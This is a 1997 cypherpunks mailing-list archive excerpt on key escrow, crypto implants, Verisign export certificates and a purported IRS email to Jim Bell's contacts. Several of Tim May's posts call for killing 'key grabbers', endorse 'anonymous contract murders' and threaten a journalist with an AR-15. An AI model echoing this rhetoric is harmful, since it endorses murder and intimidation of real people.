BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 19 Jul 1997 08:19:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto implants
In-Reply-To: <v03102817aff57f01f29b@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970718192041.3061A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 18 Jul 1997, Steve Schear wrote:

> Another civil liberty is the assumption that one owns and controls one's
> body (unless arrested/imprisoned) and the government may not alter or
> injure your body. Most citizens and hopefully the courts would find
> invasion of this most sacrosanct part of one's being are repugnant.
> 
> An implied aspects of the privacy-crypto debate is that
> mechanical/electronic devices outside of one's body are required for use of
> crypto. But what happens if a person's body is augmented for various
> purposes, including data storage, crypto and communications?  Unless a
> proven crime were committed via these devices, is it feasible that a person
> could be forced to submit to removal of an implant or to disgorge their
> data contents?

It depends on the circumstances.  If there was any way to extract the
contents of the implant or decrypt anything encrypted using a key stored
in the implant without resorting to surgery, it would probably be legal
to force the suspect to cooperate (assuming that requiring someone to
turn over a crypto key is legal).  Extracting the contents of the implant
without using surgery is non-intrusive and probably legal.  However, if
the only way to recover the needed data is to physically remove the
implant from the suspect's body (though this wouldn't be very practical
for the user), it would be very difficult for LEAs to do this legally.
In one U.S. Supreme Court decision, Winston v. Lee, it was decided that
the State did not have the authority to require someone not convicted of
a crime to submit to surgery so that a bullet could be extracted from
his body and possibly be used as evidence.  There are exceptions, but
the situation would have to be extreme enough to warrant the severe
intrusion.  I would imagine that this ruling would apply to a situation
where someone had an implant with information that could be used as
evidence.  There isn't much difference, IMO, between extracting a
bullet that has information in the form of caliber and unique markings
useful in a ballistics test and extracting a data implant that has
information electronically stored.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM8/+tizIPc7jvyFpAQGueAf+MVxTDpU3oGKmZTQsW+9rVoEguxsT18z6
cPrexE9CisABXKxKgcTN23/b7VBwvQNxlirLi5iCDIjYBdSQXXcqDUVAi1jRLR80
49vOK+/BUvj3FepqsT9tuNEN5s41XnmsOCh0NF0M0/QBtInHpMOjcktl0hyp5dkS
1ik7mRV4+Dia6kYH29UJRxbQYw8Bx8dsTmyMVQrOeJd/JV7TWtjVptPvkNcG+d/x
Ktsqv0ibXqQyewoT+lyiueg1BOjXVRXE71LGNvXpKDqio468d09AtuV20qqgo7Fs
ryUst1wSXuzbKKS5bN+B8rNXauWIn6ayjib92IgFLlzCo9aaYOmdVw==
=xEGX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 10:59:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03102809aff5db4ccb41@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.

What makes you think the "interest" is your interest in them?

It's _their_ interest in _you_.

Yes, I got _two_ copies of this message. I'm waiting to confirm it was
really sent by a sender at the IRS, namely, " IRS Inspection
<irsnwpr@net.insp.irs.gov>", before taking action.

--Tim



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 08:44:48 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <6Ta30D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan <alano@teleport.com> writes:

>
> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
>
> Did anyone else get this?

I got it too.

It could be a very tasteless joke.

Or it could be a real e-mail from IRS telling us that they keep tabs on
who's been talking to Jim.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 19 Jul 1997 09:15:23 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.3.32.19970718172701.00969de0@cybercash.com>
Message-ID: <199707190055.TAA22761@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19970718172701.00969de0@cybercash.com>, on 07/18/97 
   at 05:27 PM, Carl Ellison <cme@cybercash.com> said:

>Those two diagrams are identical except for labeling.  How can we tell E
>from  D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon? 
>The LA  Intelligence unit?  ....?

They are all "E" the only difference is that the "D's" stole our money to
finance their operations against us.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9ADR49Co1n+aLhhAQGY2gQAvOsfcBz9kmTaxdMapp5sJrNuINlfnMw9
kH7WxS9shHmNJP37cmO2ZhtO2DXihInQ83UDVX6WP75WE5QaC0Onip5F197MtSmG
ugp9lLANBQknn8VRuj4V2u1qSh+hcwfs8pBCEbtY+j+c77F23CxR3oEJvVMS76/6
JKasyqR4okc=
=5aor
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 19 Jul 1997 09:25:05 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Crypto implants
In-Reply-To: <97Jul18.203330edt.32258@brickwall.ceddec.com>
Message-ID: <199707190103.UAA22861@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul18.203330edt.32258@brickwall.ceddec.com>, on 07/18/97 
   at 08:33 PM, Nobody <nobody@rigel.cyberpass.net> said:

>On Fri, 18 Jul 1997, Steve Schear wrote:

>> [I could find no instance in the cypherpunks archives of this thread.
>> Forgive me if I've erred.]
>> 
>> As single chip crypto devices are now available (e.g., smart cards) it is
>> not unreasonable to ask how the implantation of advanced bio-chips may
>> challenge current notions of civil liberties.

>I suggested using a chip which derived the equivalent of a passphrase
>from brainwaves (when you are calm) - SF now, but in a few years...

>And there may be opportunites to make it tamperproof - if removed it is
>detected and data destroyed, or make removal all but impossible without
>killing the patient.

Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
Citizens is an excepted investigation tatic of the federal government
these days. Unfortunatly I don't see things changing any time in the
future.

"Why is it you can never find the Plutonium Disinfectant when you need
it?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9AFH49Co1n+aLhhAQHLzAP+MnJLzIicTuACxj0ey0QHFDWLN0/+1qeW
ihNU0UmY0FTX22CHcefQVFa/KwPuYymXxunIFplgdl/fRRjP6kzvUM4JQnJxmJv/
WmxEX56aMGlNab0egem5miHN+DKexOf2odwcggj2sBAGu1H2nHwUY0/ikXC27OzN
xiQpm2NfQRU=
=RRlR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 11:27:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v0310280aaff5e21c6521@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[fight-censorship@vorlon.mit.edu removed, as we are getting incredible
amounts of cross-pollution from lame posters who don't understand even the
basics of liberty. Disgusting.]


At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
>Joe Shea (via Declan McCullagh) writes:
>
>> 	Declan, what would you think if the actual keepers of the keys,
>> so to speak, were the courts, such as the Administratoive Office of the
>> US Courts?  That would at least seem to reduce a lot of the possible
>> privacy concerns.  One has the sense that once they get into the hands of
>> the varius agencies, they'll get back out.
>
>Why do I feel like we are going around and around in circles?
>
>How about we give copies of our house-keys to the courts?  We should
>also send them our old backup tapes, just in case they need them, too.

I obviously agree with Colin on this. My communications, writings, and
diaries are *mine*.

I have no idea who this "Joe Shea" is, but he seems ignorant of basic
concepts of life in a free society. Suggesting "better" holders of keys is
beside the point.

Anyone who tries to grab my keys should be killed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 19 Jul 1997 11:30:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <v03102809aff5db4ccb41@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 18 Jul 1997, Tim May wrote:

> 
> At 3:56 PM -0700 7/18/97, Alan wrote:
> >I recieved this today via e-mail.  I find it strange since I have never
> >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> >my Cypherpunks mail shows up at a different address.
> 
> What makes you think the "interest" is your interest in them?
> 
> It's _their_ interest in _you_.

Yes.  It looks like every e-mail address on Jim Bell's computer got this
nice little "warning/example".

Has there ever been a case where seized e-mail addresses have been used to
spam those listed with the results of the case?

Where is Declan when you need him. ]:>

> Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> really sent by a sender at the IRS, namely, " IRS Inspection
> <irsnwpr@net.insp.irs.gov>", before taking action.

If it is a forgery, it is a *very* good forgery.  The addresses in the
header are registered to the US government.  The headers do not look like
the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
freind who also recieved this that has his copy of sendmail to keep pretty
impresive logs as to sender's identity.  It does not look like a spoof,
unless they hacked behind the IRS firewall.)


alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <nobody@rigel.cyberpass.net>
Date: Sat, 19 Jul 1997 08:46:10 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Crypto implants
In-Reply-To: <v03102817aff57f01f29b@[10.0.2.15]>
Message-ID: <97Jul18.203330edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Steve Schear wrote:

> [I could find no instance in the cypherpunks archives of this thread.
> Forgive me if I've erred.]
> 
> As single chip crypto devices are now available (e.g., smart cards) it is
> not unreasonable to ask how the implantation of advanced bio-chips may
> challenge current notions of civil liberties.

I suggested using a chip which derived the equivalent of a passphrase from
brainwaves (when you are calm) - SF now, but in a few years...

And there may be opportunites to make it tamperproof - if removed it is
detected and data destroyed, or make removal all but impossible without
killing the patient.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 11:42:00 +0800
To: Carl Ellison <declan@well.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v0310280caff5e51517f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[I am leaving the distribution list alone, as I have no idea where the
locus of this discussion is. We are seeing serious cross-pollution of the
Cypherpunks list by crap from others lists.]

At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I'm really surprised to see this entire discussion resurface, especially
>without any apparent memory of the past 5 years that have hashed this topic
>over.
>

It hasn't resurfaced from anyone clued in to the real issues. Just some
reporters seeking "compromise." Fuck them.

Anyone who tries to grab my keys needs killing.

I have no more patience for "well-meaning" fools. We need anonymous
contract murders to get rid of this kind of scum, as force is the only
language they seem to understand.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Fri, 18 Jul 1997 18:55:04 +0800
To: cypherpunks@toad.com
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: <Pine.SOL.3.91.970718203704.3553B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
> extension) will activate the strong encryption in exportable browsers. This
> is hardcoded into Navigator and Internet Explorer.
> 
So, write a new browser (Theres a linux project staring to do 
this for linux soon/now (i think anyway)) and then port to a bunch of 
systems and base it outside the US. There aren't any import restriction 
on strong crypto yet are there ?? Besides you could then set up a home 
page ala. netscape.com and rake in the advertising dollars, if you can 
get teh browser to take off. A lot of if's and work but in theory it 
works.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@xemacs.org>
Date: Sat, 19 Jul 1997 12:04:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <m2bu3zbshu.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan  <alan@ctrl-alt-del.com> writes:

> If it is a forgery, it is a *very* good forgery.

It would be an *extraordinarily* good forgery.  Everything checks out.

Jul 18 15:44:47 sandy sendmail[16007]: PAA16007: from=<irsnwpr@net.insp.irs.gov>, size=4959, class=0, pri=34959, nrcpts=1, msgid=<199707171625.MAA02707@net.insp.irs.gov>, proto=SMTP, relay=tcs-gateway1.treas.gov [204.151.245.2]
Jul 18 15:44:48 sandy sendmail[16008]: PAA16007: to=steve@xemacs.miranova.com, delay=00:00:04, xdelay=00:00:00, mailer=esmtp, relay=xemacs.miranova.com. [206.190.83.19], stat=Sent (PAA15197 Message accepted for delivery)

>From irsnwpr@net.insp.irs.gov  Fri Jul 18 15:46:43 1997
Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from sandy.calag.com (root@sandy [206.190.83.128])
        by altair.xemacs.org (8.8.6/8.8.6) with ESMTP id PAA15197
        for <steve@xemacs.miranova.com>; Fri, 18 Jul 1997 15:46:43 -0700
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
        by sandy.calag.com (8.8.6/8.8.6) with SMTP id PAA16007
        for <steve@miranova.com>; Fri, 18 Jul 1997 15:44:44 -0700
Received: by tcs_gateway1.treas.gov id AA19614
  (InterLock SMTP Gateway 3.0 for steve@miranova.com);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:43:17 -0400
Date: Thu, 17 Jul 1997 12:25:26 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171625.MAA02707@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Sat, 19 Jul 1997 09:14:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03102807aff555424d99@[207.167.93.63]>
Message-ID: <97Jul18.210553edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Tim May wrote:

> I'm not at all convinced that monolithic apps like this will do well. A
> cluster of smaller apps, provided they have relatively consistent
> look-and-feel, as they mostly do, will probably do better for many of us.
> Smaller, nimbler apps are harder for government forces to regulate,
> influence, and limit.
> 
> What does this mean for crypto, certificates, etc.? It means that what
> Netscape, Microsoft, and other monolithic app suppliers don't hold all the
> cards. What the government forces/cajoles NS and MS to do with
> certificates, crypto, Web ratings, could end up helping more users decide
> to defect from the monolithic apps to smaller,less constraining apps.

It has been called bloatware and it affects everything.  Consider PGP 5.0.
As far as I know, all the technology being scanned in over this month is
available outside the US (e.g. SSLeay, and zip).  Although I would rather
have multiple implementations, SSLeay is a DLL under windows, but now I am
also going to have a PGP50 DLL, both with MPI and crypto libraries.  And
that doesn't count the same functions which are in both netscape and msie.

Both Netscape and MSIE could have taken an approach where the crypto was
put in a different app (i.e. safepassage), so the SSLproxy app would only
be available in the US, and cloned at full strength elsewhere.  You can do
something equivalent on the server side (443 -> SSL-to-plain -> 80).

Unless I am really doing something graphic based, I use Lynx.  Or "geturl
http://whatever | tablerender | less".

What is worse about MS/NS is that they can't be automated.  I can do a
croned geturl every 5 minutes, but how do I extract a given table from a
site and import it into excel automatically?  I think excel will
eventually support URLs in some fashion if it doesn't already, but there
are more things which won't parse as easily.  And what if the data is on
the other side of a form?

I think part, if not most of the problem is the GUI paradigm.  It is very
expensive to start another app, so people clamor for features to be built
in to existing apps, so every app must do things other apps do.  If you
can't click on it, you can't do it.  If there is no Download and save the
Nth GIF on this page every 5 minutes, I won't be able to do this with a
normal browser.

This is in contrast to the CLI-filter-pipe paradigm where every program
just does one thing.  That thing can be extremely flexible (e.g. awk), but
it has a limited scope, and another app does other things, but they are
designed to be chainable.  But it requires thinking to build these chains
and "average" users refuse to learn how.  geturl www.wherever | grep
"pic.gif" | awk ... >nextfile.get; geturl `cat nextfile.get` >`date ..`
as a cron job will do the function I suggested above.

The question is how to merge the two so GUI apps are small and chainable
(maybe embeddable?).

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Shea <joeshea@netcom.com>
Date: Sat, 19 Jul 1997 12:29:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <Pine.3.89.9707182132.A29551-0100000@netcom9>
MIME-Version: 1.0
Content-Type: text/plain




	And if Tim May does kill me, I hope someone has his key, or better
yet, can go make a showing to a judge and get it from him.  Then he won't
kill again.  I think this is the whole point of key escrow -- to make sure
people like the one Tim represents himself to be are people you can find
in the maze of the Internet.  Unfortunately -- well, not really -- I don't
think Tim is a trained killer who's going to search me out.  There are
plenty of them, though, and they are moving vast sums of stolen money and
nuclear weapon parts and stolen information all over the globe.  I see no
reason why we should be defenseless against them. At the same time, I 
don't think the keys should be in the hands of federal law enforcement 
agencies who have demonstrably screwed up big-time on an anwful lot of 
occasions.  Judges -- people like the Ninth Circuit Court of Appeals -- 
would look rather askance at requests for someone's key when it was no
more aggravating an issue than a piece of flame mail.  On the other hand, 
if someone's going to blow up San Francisco this week, it sure would help
to have a key to any encrypted communications he was generating.  Of course,
a lot of people would like to see it blow up, and maybe Tim is one of 
those, too.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999


On Fri, 18 Jul 1997, Tim May wrote:

> 
> [I am leaving the distribution list alone, as I have no idea where the
> locus of this discussion is. We are seeing serious cross-pollution of the
> Cypherpunks list by crap from others lists.]
> 
> At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >I'm really surprised to see this entire discussion resurface, especially
> >without any apparent memory of the past 5 years that have hashed this topic
> >over.
> >
> 
> It hasn't resurfaced from anyone clued in to the real issues. Just some
> reporters seeking "compromise." Fuck them.
> 
> Anyone who tries to grab my keys needs killing.
> 
> I have no more patience for "well-meaning" fools. We need anonymous
> contract murders to get rid of this kind of scum, as force is the only
> language they seem to understand.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 19 Jul 1997 10:29:36 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <3.0.3.32.19970718214858.00927e50@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:25 PM 7/18/97 -0700, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

If you want to diddle with GAK provisions to make them just a little
more palatable (honey to make the pill go down?), I prefer my old one
from 1993 (and 4 and 5 and 6 ...).

Have the key split 12 ways, by XOR, so you need all 12, all have to 
agree the desire is justified and all can do whatever they want
with the information that the key request came in and was or was
not satisfied (by them):

1)	ACLU
2)	NRA
3)	Republican Nat'l Committee
4)	Democratic Nat'l Committee
5)	N Y Times
6)	Washington Post
7)	Christian Coalition
8)	Libertarian Party
9)	FBI
10)	NSA
11)	Speaker of the House of Representatives
12)	U S Supreme Court

Deliver requests by US Postal Service.

Have each session key released individually
(by having the sender split the session key 12 ways and
encrypt each piece under the public key of a different
agency listed above).

All requests include the name of the target and the
reason for the suspicion.  Since all the above can be
trusted, there will be no compromise of law enforcement
objectives.

 - Carl




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9AdCVQXJENzYr45AQGVPgP+LULZPUSQB+xOm8nv5RfNCnAPy3XgK4vR
rSxTuVw2kS/xVSb/gKNNfA5E4Eb+B/2H9zylfOe8Sz3ki5kWoP0xJvXhNIikNFb4
+fTJFClfWbONYag01kLQRjYiXvcVN+T6oH4s8490R2rgTpRebSG5opPMLaBTSpI8
R292Uw4719c=
=4+Ph
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 13:14:49 +0800
To: Joe Shea <joeshea@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <v0310280daff5f6e045ef@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:15 PM -0700 7/18/97, Joe Shea wrote:
>	And if Tim May does kill me, I hope someone has his key, or better
>yet, can go make a showing to a judge and get it from him.  Then he won't
>kill again.  I think this is the whole point of key escrow -- to make sure
>people like the one Tim represents himself to be are people you can find
>in the maze of the Internet.  Unfortunately -- well, not really -- I don't
>think Tim is a trained killer who's going to search me out.  There are
>plenty of them, though, and they are moving vast sums of stolen money and
>nuclear weapon parts and stolen information all over the globe.  I see no
>reason why we should be defenseless against them. At the same time, I

Why should we be "defenseless against them"?

Why should we be "defenseless" against those who plot crimes behind locked
doors, with curtains drawn? Why not simply enter at will?

And why be "defenseless" against those who speak in whispers, or those who
speak in languages the State and Defense Departments have no translators
for? Imprison the Navajo code talkers for speaking in an unapproved
language.

And why should the State be defenseless against those like Winston Smith
who keep illegal, unescrowed diaries? They might be plotting to move
nuclear weapons.

>don't think the keys should be in the hands of federal law enforcement
>agencies who have demonstrably screwed up big-time on an anwful lot of
>occasions.  Judges -- people like the Ninth Circuit Court of Appeals --
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand,
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.  Of course,
>a lot of people would like to see it blow up, and maybe Tim is one of
>those, too.
>
>Best,


Fuck you with all your "best" bullshit. You are the enemy.

My keys are my keys, period. If any Ninth Circuit stooge wants them, he'll
have to deal with my (illegal by their bullshit laws) AR-15.

You, of course, are quite welcome to voluntarily "escrow" your crypto keys,
your house keys, your car keys, and the codes to your diary with the local
or circuit judge of your choice. Just don't volunteer _my_ keys.

Got it?

Vermin like you are what is wrong with this country, and the reasons the
militias are gaining strength every day. A fucking house-cleaning is in
order.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sat, 19 Jul 1997 13:10:19 +0800
To: amp@pobox.com
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33D04A75.31E08282@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



amp@pobox.com wrote:
> 
>> There's nothing preventing another CA from getting permission from
>> the USG to issue these magic certs.  We would have to distribute a
>> patch, but I don't see any problem with that.
> 
> uh, why does one need permission of the usg to issue "magic certs"?

Because issuing these certs is defined as a "defense service".

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 13:21:22 +0800
To: Steve Schear <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <v0310280eaff5fbaf6760@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



